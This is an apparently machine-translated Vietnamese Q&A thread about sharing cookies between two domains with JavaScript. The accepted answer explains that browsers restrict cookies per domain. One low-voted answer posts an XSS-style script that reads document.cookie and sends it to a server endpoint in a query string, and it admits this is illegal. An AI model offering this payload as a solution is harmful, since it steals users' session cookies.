2010-08-30 29 views
5

Tôi muốn có thể truy cập và đặt cookie giữa example.com và mysite.com. Làm thế nào để làm điều đó?Tôi làm cách nào để chia sẻ cookie trên 2 tên miền bằng javascript?

+1

Bạn không thể thực hiện việc đó trực tiếp. Bạn đang cố gắng để thực hiện? Cũng tìm kiếm ở đây và Internet cho "cookie miền chéo" để giải quyết. – Matthew

+0

có thể trùng lặp: http://stackoverflow.com/questions/263010/whats-your-favorite-cross-domain-cookie-sharing-approach –

Trả lời

2

Bạn không thể làm điều đó với cookie một mình: chúng được đặt rõ ràng cho mỗi tên miền và không có cách hợp pháp (đọc: "không khai thác") để đặt chúng cho tên miền khác.

Tuy nhiên, nếu bạn kiểm soát cả hai máy chủ, có thể sử dụng một số cách giải quyết/hack để đạt được điều này, nhưng nó không phải là, và nó có thể vỡ bất ngờ (xem this question; câu trả lời sẽ giúp bạn dung dịch).

0
<script> 
    function xss(){ 
    var cookies = document.cookie; 
    new Ajax.Request('//localhost/index.php?cookies='+cookies, { 
     onSuccess: function(response) { 
     alert(cookies); 
     } 
    }); 
    } 
    xss(); 
</script> 

PS nhưng điều đó là bất hợp pháp. Tôi sử dụng mẫu thử nghiệm lib.

+1

Vui lòng mở rộng trên 'đó là bất hợp pháp' và lý do bạn sử dụng mẫu thử nghiệm lib để cải thiện câu trả lời của mình . –

Các vấn đề liên quan